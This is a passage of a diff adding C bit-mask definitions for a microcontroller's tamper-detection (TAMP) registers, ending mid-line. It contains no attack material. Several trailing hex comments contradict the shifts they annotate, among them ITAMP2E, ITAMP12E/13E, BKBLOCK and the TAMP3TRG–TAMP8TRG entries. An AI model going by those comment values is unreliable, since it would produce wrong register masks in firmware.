TAMP_CR1_TAMP2E_Msk +#define TAMP_CR1_TAMP3E_Pos (2UL) +#define TAMP_CR1_TAMP3E_Msk (0x1UL << TAMP_CR1_TAMP3E_Pos) /*!< 0x00000004 */ +#define TAMP_CR1_TAMP3E TAMP_CR1_TAMP3E_Msk +#define TAMP_CR1_TAMP4E_Pos (3UL) +#define TAMP_CR1_TAMP4E_Msk (0x1UL << TAMP_CR1_TAMP4E_Pos) /*!< 0x00000008 */ +#define TAMP_CR1_TAMP4E TAMP_CR1_TAMP4E_Msk +#define TAMP_CR1_TAMP5E_Pos (4UL) +#define TAMP_CR1_TAMP5E_Msk (0x1UL << TAMP_CR1_TAMP5E_Pos) /*!< 0x00000010 */ +#define TAMP_CR1_TAMP5E TAMP_CR1_TAMP5E_Msk +#define TAMP_CR1_TAMP6E_Pos (5UL) +#define TAMP_CR1_TAMP6E_Msk (0x1UL << TAMP_CR1_TAMP6E_Pos) /*!< 0x00000020 */ +#define TAMP_CR1_TAMP6E TAMP_CR1_TAMP6E_Msk +#define TAMP_CR1_TAMP7E_Pos (6UL) +#define TAMP_CR1_TAMP7E_Msk (0x1UL << TAMP_CR1_TAMP7E_Pos) /*!< 0x00000040 */ +#define TAMP_CR1_TAMP7E TAMP_CR1_TAMP7E_Msk +#define TAMP_CR1_TAMP8E_Pos (7UL) +#define TAMP_CR1_TAMP8E_Msk (0x1UL << TAMP_CR1_TAMP8E_Pos) /*!< 0x00000080 */ +#define TAMP_CR1_TAMP8E TAMP_CR1_TAMP8E_Msk +#define TAMP_CR1_ITAMP1E_Pos (16UL) +#define TAMP_CR1_ITAMP1E_Msk (0x1UL << TAMP_CR1_ITAMP1E_Pos) /*!< 0x00010000 */ +#define TAMP_CR1_ITAMP1E TAMP_CR1_ITAMP1E_Msk +#define TAMP_CR1_ITAMP2E_Pos (17UL) +#define TAMP_CR1_ITAMP2E_Msk (0x1UL << TAMP_CR1_ITAMP2E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP2E TAMP_CR1_ITAMP2E_Msk +#define TAMP_CR1_ITAMP3E_Pos (18UL) +#define TAMP_CR1_ITAMP3E_Msk (0x1UL << TAMP_CR1_ITAMP3E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP3E TAMP_CR1_ITAMP3E_Msk +#define TAMP_CR1_ITAMP5E_Pos (20UL) +#define TAMP_CR1_ITAMP5E_Msk (0x1UL << TAMP_CR1_ITAMP5E_Pos) /*!< 0x00100000 */ +#define TAMP_CR1_ITAMP5E TAMP_CR1_ITAMP5E_Msk +#define TAMP_CR1_ITAMP6E_Pos (21UL) +#define TAMP_CR1_ITAMP6E_Msk (0x1UL << TAMP_CR1_ITAMP6E_Pos) /*!< 0x00200000 */ +#define TAMP_CR1_ITAMP6E TAMP_CR1_ITAMP6E_Msk +#define TAMP_CR1_ITAMP7E_Pos (22UL) +#define TAMP_CR1_ITAMP7E_Msk (0x1UL << TAMP_CR1_ITAMP7E_Pos) /*!< 0x00400000 */ +#define TAMP_CR1_ITAMP7E TAMP_CR1_ITAMP7E_Msk +#define TAMP_CR1_ITAMP8E_Pos (23UL) +#define TAMP_CR1_ITAMP8E_Msk (0x1UL << TAMP_CR1_ITAMP8E_Pos) /*!< 0x00800000 */ +#define TAMP_CR1_ITAMP8E TAMP_CR1_ITAMP8E_Msk +#define TAMP_CR1_ITAMP9E_Pos (24UL) +#define TAMP_CR1_ITAMP9E_Msk (0x1UL << TAMP_CR1_ITAMP9E_Pos) /*!< 0x01000000 */ +#define TAMP_CR1_ITAMP9E TAMP_CR1_ITAMP9E_Msk +#define TAMP_CR1_ITAMP11E_Pos (26UL) +#define TAMP_CR1_ITAMP11E_Msk (0x1UL << TAMP_CR1_ITAMP11E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP11E TAMP_CR1_ITAMP11E_Msk +#define TAMP_CR1_ITAMP12E_Pos (27UL) +#define TAMP_CR1_ITAMP12E_Msk (0x1UL << TAMP_CR1_ITAMP12E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP12E TAMP_CR1_ITAMP12E_Msk +#define TAMP_CR1_ITAMP13E_Pos (28UL) +#define TAMP_CR1_ITAMP13E_Msk (0x1UL << TAMP_CR1_ITAMP13E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP13E TAMP_CR1_ITAMP13E_Msk + +/******************** Bits definition for TAMP_CR2 register *****************/ +#define TAMP_CR2_TAMP1NOERASE_Pos (0UL) +#define TAMP_CR2_TAMP1NOERASE_Msk (0x1UL << TAMP_CR2_TAMP1NOERASE_Pos) /*!< 0x00000001 */ +#define TAMP_CR2_TAMP1NOERASE TAMP_CR2_TAMP1NOERASE_Msk +#define TAMP_CR2_TAMP2NOERASE_Pos (1UL) +#define TAMP_CR2_TAMP2NOERASE_Msk (0x1UL << TAMP_CR2_TAMP2NOERASE_Pos) /*!< 0x00000002 */ +#define TAMP_CR2_TAMP2NOERASE TAMP_CR2_TAMP2NOERASE_Msk +#define TAMP_CR2_TAMP3NOERASE_Pos (2UL) +#define TAMP_CR2_TAMP3NOERASE_Msk (0x1UL << TAMP_CR2_TAMP3NOERASE_Pos) /*!< 0x00000004 */ +#define TAMP_CR2_TAMP3NOERASE TAMP_CR2_TAMP3NOERASE_Msk +#define TAMP_CR2_TAMP4NOERASE_Pos (3UL) +#define TAMP_CR2_TAMP4NOERASE_Msk (0x1UL << TAMP_CR2_TAMP4NOERASE_Pos) /*!< 0x00000008 */ +#define TAMP_CR2_TAMP4NOERASE TAMP_CR2_TAMP4NOERASE_Msk +#define TAMP_CR2_TAMP5NOERASE_Pos (4UL) +#define TAMP_CR2_TAMP5NOERASE_Msk (0x1UL << TAMP_CR2_TAMP5NOERASE_Pos) /*!< 0x00000010 */ +#define TAMP_CR2_TAMP5NOERASE TAMP_CR2_TAMP5NOERASE_Msk +#define TAMP_CR2_TAMP6NOERASE_Pos (5UL) +#define TAMP_CR2_TAMP6NOERASE_Msk (0x1UL << TAMP_CR2_TAMP6NOERASE_Pos) /*!< 0x00000020 */ +#define TAMP_CR2_TAMP6NOERASE TAMP_CR2_TAMP6NOERASE_Msk +#define TAMP_CR2_TAMP7NOERASE_Pos (6UL) +#define TAMP_CR2_TAMP7NOERASE_Msk (0x1UL << TAMP_CR2_TAMP7NOERASE_Pos) /*!< 0x00000040 */ +#define TAMP_CR2_TAMP7NOERASE TAMP_CR2_TAMP7NOERASE_Msk +#define TAMP_CR2_TAMP8NOERASE_Pos (7UL) +#define TAMP_CR2_TAMP8NOERASE_Msk (0x1UL << TAMP_CR2_TAMP8NOERASE_Pos) /*!< 0x00000080 */ +#define TAMP_CR2_TAMP8NOERASE TAMP_CR2_TAMP8NOERASE_Msk +#define TAMP_CR2_TAMP1MSK_Pos (16UL) +#define TAMP_CR2_TAMP1MSK_Msk (0x1UL << TAMP_CR2_TAMP1MSK_Pos) /*!< 0x00010000 */ +#define TAMP_CR2_TAMP1MSK TAMP_CR2_TAMP1MSK_Msk +#define TAMP_CR2_TAMP2MSK_Pos (17UL) +#define TAMP_CR2_TAMP2MSK_Msk (0x1UL << TAMP_CR2_TAMP2MSK_Pos) /*!< 0x00020000 */ +#define TAMP_CR2_TAMP2MSK TAMP_CR2_TAMP2MSK_Msk +#define TAMP_CR2_TAMP3MSK_Pos (18UL) +#define TAMP_CR2_TAMP3MSK_Msk (0x1UL << TAMP_CR2_TAMP3MSK_Pos) /*!< 0x00040000 */ +#define TAMP_CR2_TAMP3MSK TAMP_CR2_TAMP3MSK_Msk +#define TAMP_CR2_BKBLOCK_Pos (22UL) +#define TAMP_CR2_BKBLOCK_Msk (0x1UL << TAMP_CR2_BKBLOCK_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKBLOCK TAMP_CR2_BKBLOCK_Msk +#define TAMP_CR2_BKERASE_Pos (23UL) +#define TAMP_CR2_BKERASE_Msk (0x1UL << TAMP_CR2_BKERASE_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKERASE TAMP_CR2_BKERASE_Msk +#define TAMP_CR2_TAMP1TRG_Pos (24UL) +#define TAMP_CR2_TAMP1TRG_Msk (0x1UL << TAMP_CR2_TAMP1TRG_Pos) /*!< 0x01000000 */ +#define TAMP_CR2_TAMP1TRG TAMP_CR2_TAMP1TRG_Msk +#define TAMP_CR2_TAMP2TRG_Pos (25UL) +#define TAMP_CR2_TAMP2TRG_Msk (0x1UL << TAMP_CR2_TAMP2TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP2TRG TAMP_CR2_TAMP2TRG_Msk +#define TAMP_CR2_TAMP3TRG_Pos (26UL) +#define TAMP_CR2_TAMP3TRG_Msk (0x1UL << TAMP_CR2_TAMP3TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP3TRG TAMP_CR2_TAMP3TRG_Msk +#define TAMP_CR2_TAMP4TRG_Pos (27UL) +#define TAMP_CR2_TAMP4TRG_Msk (0x1UL << TAMP_CR2_TAMP4TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP4TRG TAMP_CR2_TAMP4TRG_Msk +#define TAMP_CR2_TAMP5TRG_Pos (28UL) +#define TAMP_CR2_TAMP5TRG_Msk (0x1UL << TAMP_CR2_TAMP5TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP5TRG TAMP_CR2_TAMP5TRG_Msk +#define TAMP_CR2_TAMP6TRG_Pos (29UL) +#define TAMP_CR2_TAMP6TRG_Msk (0x1UL << TAMP_CR2_TAMP6TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP6TRG TAMP_CR2_TAMP6TRG_Msk +#define TAMP_CR2_TAMP7TRG_Pos (30UL) +#define TAMP_CR2_TAMP7TRG_Msk (0x1UL << TAMP_CR2_TAMP7TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP7TRG TAMP_CR2_TAMP7TRG_Msk +#define TAMP_CR2_TAMP8TRG_Pos (31UL) +#define TAMP_CR2_TAMP8TRG_Msk (0x1UL << TAMP_CR2_TAMP8TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP8TRG TAMP_CR2_TAMP8TRG_Msk + +/******************** Bits definition for TAMP_CR3 register *****************/ +#define TAMP_CR3_ITAMP1NOER_Pos (0UL) +#define TAMP_CR3_ITAMP1NOER_Msk (0x1UL << TAMP_CR3_ITAMP1NOER_Pos) /*!< 0x00000001 */ +#define TAMP_CR3_ITAMP1NOER TAMP_CR3_ITAMP1NOER_Msk +#define TAMP_CR3_ITAMP2NOER_Pos (1UL) +#define TAMP_CR3_ITAMP2NOER_Msk (0x1UL << TAMP_CR3_ITAMP2NOER_Pos) /*!< 0x00000002 */ +#define TAMP_CR3_ITAMP2NOER TAMP_CR3_ITAMP2NOER_Msk +#define TAMP_CR3_ITAMP3NOER_Pos (2UL) +#define TAMP_CR3_ITAMP3NOER_Msk (0x1UL << TAMP_CR3_ITAMP3NOER_Pos) /*!< 0x00000004 */ +#define TAMP_CR3_ITAMP3NOER TAMP_CR3_ITAMP3NOER_Msk +#define TAMP_CR3_ITAMP5NOER_Pos (4UL) +#define TAMP_CR3_ITAMP5NOER_Msk (0x1UL << TAMP_CR3_ITAMP5NOER_Pos) /*!< 0x00000010 */ +#define TAMP_CR3_ITAMP5NOER TAMP_CR3_ITAMP5NOER_Msk +#define TAMP_CR3_ITAMP6NOER_Pos (5UL) +#define TAMP_CR3_ITAMP6NOER_Msk (0x1UL << TAMP_CR3_ITAMP6NOER_Pos) /*!< 0x00000020 */ +#define TAMP_CR3_ITAMP6NOER TAMP_CR3_ITAMP6NOER_Msk +#define TAMP_CR3_ITAMP7NOER_Pos (6UL) +#define TAMP_CR3_ITAMP7NOER_Msk (0x1UL << TAMP_CR3_ITAMP7NOER_Pos) +#define TAMP_CR3_ITAMP7NOER TAMP_CR3_ITAMP7NOER_Msk +#define TAMP_CR3_ITAMP8NOER_Pos (7UL) +#define TAMP_CR3_ITAMP8NOER_Msk (0x1UL << TAMP_CR3_ITAMP8NOER_Pos) /*!< 0x00000040 */ +#define TAMP_CR3_ITAMP8NOER TAMP_CR3_ITAMP8NOER_Msk +#define TAMP_CR3_ITAMP9NOER_Pos (8UL) +#define TAMP_CR3_ITAMP9NOER_Msk (0x1UL << TAMP_CR3_ITAMP9NOER_Pos) /*!< 0x00000100 */ +#define TAMP_CR3_ITAMP9NOER TAMP_CR3_ITAMP9NOER_Msk +#define TAMP_CR3_ITAMP11NOER_Pos (10UL) +#define TAMP_CR3_ITAMP11NOER_Msk (0x1UL << TAMP_CR3_ITAMP11NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP11NOER TAMP_CR3_ITAMP11NOER_Msk +#define TAMP_CR3_ITAMP12NOER_Pos (11UL) +#define TAMP_CR3_ITAMP12NOER_Msk (0x1UL << TAMP_CR3_ITAMP12NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP12NOER TAMP_CR3_ITAMP12NOER_Msk +#define TAMP_CR3_ITAMP13NOER_Pos (12UL) +#define TAMP_CR3_ITAMP13NOER_Msk (0x1UL << TAMP_CR3_ITAMP13NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP13NOER TAMP_CR3_ITAMP13NOER_Msk + +/******************** Bits definition for TAMP_FLTCR register ***************/ +#define TAMP_FLTCR_TAMPFREQ_Pos (0UL) +#define TAMP_FLTCR_TAMPFREQ_Msk (0x7UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000007 */ +#define TAMP_FLTCR_TAMPFREQ TAMP_FLTCR_TAMPFREQ_Msk +#define TAMP_FLTCR_TAMPFREQ_0 (0x1UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000001 */ +#define TAMP_FLTCR_TAMPFREQ_1 (0x2UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000002 */ +#define TAMP_FLTCR_TAMPFREQ_2 (0x4UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000004 */ +#define TAMP_FLTCR_TAMPFLT_Pos (3UL) +#define TAMP_FLTCR_TAMPFLT_Msk (0x3UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000018 */ +#define TAMP_FLTCR_TAMPFLT TAMP_FLTCR_TAMPFLT_Msk +#define TAMP_FLTCR_TAMPFLT_0 (0x1UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000008 */ +#define TAMP_FLTCR_TAMPFLT_1 (0x2UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000010 */ +#define TAMP_FLTCR_TAMPPRCH_Pos (5UL) +#define TAMP_FLTCR_TAMPPRCH_Msk (0x3UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000060 */ +#define TAMP_FLTCR_TAMPPRCH TAMP_FLTCR_TAMPPRCH_Msk +#define TAMP_FLTCR_TAMPPRCH_0 (0x1UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000020 */ +#define TAMP_FLTCR_TAMPPRCH_1 (0x2UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000040 */ +#define TAMP_FLTCR_TAMPPUDIS_Pos (7UL) +#define TAMP_FLTCR_TAMPPUDIS_Msk (0x1UL << TAMP_FLTCR_TAMPPUDIS_Pos) /*!< 0x00000080 */ +#define TAMP_FLTCR_TAMPPUDIS TAMP_FLTCR_TAMPPUDIS_Msk + +/******************** Bits definition for TAMP_ATCR1 register ***************/ +#define TAMP_ATCR1_TAMP1AM_Pos (0UL) +#define TAMP_ATCR1_TAMP1AM_Msk (0x1UL << TAMP_ATCR1_TAMP1AM_Pos) /*!< 0x00000001 */ +#define TAMP_ATCR1_TAMP1AM TAMP_ATCR1_TAMP1AM_Msk +#define TAMP_ATCR1_TAMP2AM_Pos (1UL) +#define TAMP_ATCR1_TAMP2AM_Msk (0x1UL << TAMP_ATCR1_TAMP2AM_Pos) /*!< 0x00000002 */ +#define TAMP_ATCR1_TAMP2AM TAMP_ATCR1_TAMP2AM_Msk +#define TAMP_ATCR1_TAMP3AM_Pos (2UL) +#define TAMP_ATCR1_TAMP3AM_Msk (0x1UL << TAMP_ATCR1_TAMP3AM_Pos) /*!< 0x00000004 */ +#define TAMP_ATCR1_TAMP3AM TAMP_ATCR1_TAMP3AM_Msk +#define TAMP_ATCR1_TAMP4AM_Pos (3UL) +#define TAMP_ATCR1_TAMP4AM_Msk (0x1UL << TAMP_ATCR1_TAMP4AM_Pos) /*!< 0x00000008 */ +#define TAMP_ATCR1_TAMP4AM TAMP_ATCR1_TAMP4AM_Msk +#define TAMP_ATCR1_TAMP5AM_Pos (4UL) +#define TAMP_ATCR1_TAMP5AM_Msk (0x1UL << TAMP_ATCR1_TAMP5AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP5AM TAMP_ATCR1_TAMP5AM_Msk +#define TAMP_ATCR1_TAMP6AM_Pos (5UL) +#define TAMP_ATCR1_TAMP6AM_Msk (0x1UL << TAMP_ATCR1_TAMP6AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP6AM TAMP_ATCR1_TAMP6AM_Msk +#define TAMP_ATCR1_TAMP7AM_Pos (6UL) +#define TAMP_ATCR1_TAMP7AM_Msk (0x1UL << TAMP_ATCR1_TAMP7AM_Pos) /*!< 0x00000040 */ +#define TAMP_ATCR1_TAMP7AM TAMP_ATCR1_TAMP7AM_Msk +#define TAMP_ATCR1_TAMP8AM_Pos (7UL) +#define TAMP_ATCR1_TAMP8AM_Msk (0x1UL << TAMP_ATCR1_TAMP8AM_Pos) /*!< 0x00000080 */ +#define TAMP_ATCR1_TAMP8AM TAMP_ATCR1_TAMP8AM_Msk +#define TAMP_ATCR1_ATOSEL1_Pos (8UL) +#define TAMP_ATCR1_ATOSEL1_Msk (0x3UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000300 */ +#define TAMP_ATCR1_ATOSEL1 TAMP_ATCR1_ATOSEL1_Msk +#define TAMP_ATCR1_ATOSEL1_0 (0x1UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR1_ATOSEL1_1 (0x2UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR1_ATOSEL2_Pos (10UL) +#define TAMP_ATCR1_ATOSEL2_Msk (0x3UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000C00 */ +#define TAMP_ATCR1_ATOSEL2 TAMP_ATCR1_ATOSEL2_Msk +#define TAMP_ATCR1_ATOSEL2_0 (0x1UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR1_ATOSEL2_1 (0x2UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR1_ATOSEL3_Pos (12UL) +#define TAMP_ATCR1_ATOSEL3_Msk (0x3UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00003000 */ +#define TAMP_ATCR1_ATOSEL3 TAMP_ATCR1_ATOSEL3_Msk +#define TAMP_ATCR1_ATOSEL3_0 (0x1UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR1_ATOSEL3_1 (0x2UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR1_ATOSEL4_Pos (14UL) +#define TAMP_ATCR1_ATOSEL4_Msk (0x3UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x0000C000 */ +#define TAMP_ATCR1_ATOSEL4 TAMP_ATCR1_ATOSEL4_Msk +#define TAMP_ATCR1_ATOSEL4_0 (0x1UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR1_ATOSEL4_1 (0x2UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR1_ATCKSEL_Pos (16UL) +#define TAMP_ATCR1_ATCKSEL_Msk (0xFUL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x000F0000 */ +#define TAMP_ATCR1_ATCKSEL TAMP_ATCR1_ATCKSEL_Msk +#define TAMP_ATCR1_ATCKSEL_0 (0x1UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR1_ATCKSEL_1 (0x2UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR1_ATCKSEL_2 (0x4UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR1_ATCKSEL_3 (0x8UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR1_ATPER_Pos (24UL) +#define TAMP_ATCR1_ATPER_Msk (0x7UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x07000000 */ +#define TAMP_ATCR1_ATPER TAMP_ATCR1_ATPER_Msk +#define TAMP_ATCR1_ATPER_0 (0x1UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR1_ATPER_1 (0x2UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR1_ATPER_2 (0x4UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR1_ATOSHARE_Pos (30UL) +#define TAMP_ATCR1_ATOSHARE_Msk (0x1UL << TAMP_ATCR1_ATOSHARE_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR1_ATOSHARE TAMP_ATCR1_ATOSHARE_Msk +#define TAMP_ATCR1_FLTEN_Pos (31UL) +#define TAMP_ATCR1_FLTEN_Msk (0x1UL << TAMP_ATCR1_FLTEN_Pos) /*!< 0x80000000 */ +#define TAMP_ATCR1_FLTEN TAMP_ATCR1_FLTEN_Msk + +/******************** Bits definition for TAMP_ATSEEDR register ******************/ +#define TAMP_ATSEEDR_SEED_Pos (0UL) +#define TAMP_ATSEEDR_SEED_Msk (0xFFFFFFFFUL << TAMP_ATSEEDR_SEED_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_ATSEEDR_SEED TAMP_ATSEEDR_SEED_Msk + +/******************** Bits definition for TAMP_ATOR register ******************/ +#define TAMP_ATOR_PRNG_Pos (0UL) +#define TAMP_ATOR_PRNG_Msk (0xFF << TAMP_ATOR_PRNG_Pos) /*!< 0x000000FF */ +#define TAMP_ATOR_PRNG TAMP_ATOR_PRNG_Msk +#define TAMP_ATOR_PRNG_0 (0x1UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000001 */ +#define TAMP_ATOR_PRNG_1 (0x2UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000002 */ +#define TAMP_ATOR_PRNG_2 (0x4UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000004 */ +#define TAMP_ATOR_PRNG_3 (0x8UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000008 */ +#define TAMP_ATOR_PRNG_4 (0x10UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000010 */ +#define TAMP_ATOR_PRNG_5 (0x20UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000020 */ +#define TAMP_ATOR_PRNG_6 (0x40UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000040 */ +#define TAMP_ATOR_PRNG_7 (0x80UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000080 */ +#define TAMP_ATOR_SEEDF_Pos (14UL) +#define TAMP_ATOR_SEEDF_Msk (1UL << TAMP_ATOR_SEEDF_Pos) /*!< 0x00004000 */ +#define TAMP_ATOR_SEEDF TAMP_ATOR_SEEDF_Msk +#define TAMP_ATOR_INITS_Pos (15UL) +#define TAMP_ATOR_INITS_Msk (1UL << TAMP_ATOR_INITS_Pos) /*!< 0x00008000 */ +#define TAMP_ATOR_INITS TAMP_ATOR_INITS_Msk + +/******************** Bits definition for TAMP_ATCR2 register ***************/ +#define TAMP_ATCR2_ATOSEL1_Pos (8UL) +#define TAMP_ATCR2_ATOSEL1_Msk (0x7UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000700 */ +#define TAMP_ATCR2_ATOSEL1 TAMP_ATCR2_ATOSEL1_Msk +#define TAMP_ATCR2_ATOSEL1_0 (0x1UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR2_ATOSEL1_1 (0x2UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR2_ATOSEL1_2 (0x4UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR2_ATOSEL2_Pos (11UL) +#define TAMP_ATCR2_ATOSEL2_Msk (0x7UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00003800 */ +#define TAMP_ATCR2_ATOSEL2 TAMP_ATCR2_ATOSEL2_Msk +#define TAMP_ATCR2_ATOSEL2_0 (0x1UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR2_ATOSEL2_1 (0x2UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR2_ATOSEL2_2 (0x4UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR2_ATOSEL3_Pos (14UL) +#define TAMP_ATCR2_ATOSEL3_Msk (0x7UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x0001C000 */ +#define TAMP_ATCR2_ATOSEL3 TAMP_ATCR2_ATOSEL3_Msk +#define TAMP_ATCR2_ATOSEL3_0 (0x1UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR2_ATOSEL3_1 (0x2UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR2_ATOSEL3_2 (0x4UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR2_ATOSEL4_Pos (17UL) +#define TAMP_ATCR2_ATOSEL4_Msk (0x7UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x000E0000 */ +#define TAMP_ATCR2_ATOSEL4 TAMP_ATCR2_ATOSEL4_Msk +#define TAMP_ATCR2_ATOSEL4_0 (0x1UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR2_ATOSEL4_1 (0x2UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR2_ATOSEL4_2 (0x4UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR2_ATOSEL5_Pos (20UL) +#define TAMP_ATCR2_ATOSEL5_Msk (0x7UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00700000 */ +#define TAMP_ATCR2_ATOSEL5 TAMP_ATCR2_ATOSEL5_Msk +#define TAMP_ATCR2_ATOSEL5_0 (0x1UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00100000 */ +#define TAMP_ATCR2_ATOSEL5_1 (0x2UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00200000 */ +#define TAMP_ATCR2_ATOSEL5_2 (0x4UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00400000 */ +#define TAMP_ATCR2_ATOSEL6_Pos (23UL) +#define TAMP_ATCR2_ATOSEL6_Msk (0x7UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x03800000 */ +#define TAMP_ATCR2_ATOSEL6 TAMP_ATCR2_ATOSEL6_Msk +#define TAMP_ATCR2_ATOSEL6_0 (0x1UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x00800000 */ +#define TAMP_ATCR2_ATOSEL6_1 (0x2UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR2_ATOSEL6_2 (0x4UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR2_ATOSEL7_Pos (26UL) +#define TAMP_ATCR2_ATOSEL7_Msk (0x7UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x1C000000 */ +#define TAMP_ATCR2_ATOSEL7 TAMP_ATCR2_ATOSEL7_Msk +#define TAMP_ATCR2_ATOSEL7_0 (0x1UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR2_ATOSEL7_1 (0x2UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x08000000 */ +#define TAMP_ATCR2_ATOSEL7_2 (0x4UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x10000000 */ +#define TAMP_ATCR2_ATOSEL8_Pos (29UL) +#define TAMP_ATCR2_ATOSEL8_Msk (0x7UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0xE0000000 */ +#define TAMP_ATCR2_ATOSEL8 TAMP_ATCR2_ATOSEL8_Msk +#define TAMP_ATCR2_ATOSEL8_0 (0x1UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x20000000 */ +#define TAMP_ATCR2_ATOSEL8_1 (0x2UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR2_ATOSEL8_2 (0x4UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x80000000 */ + +/******************** Bits definition for TAMP_SECCFGR register *************/ +#define TAMP_SECCFGR_BKPRWSEC_Pos (0UL) +#define TAMP_SECCFGR_BKPRWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 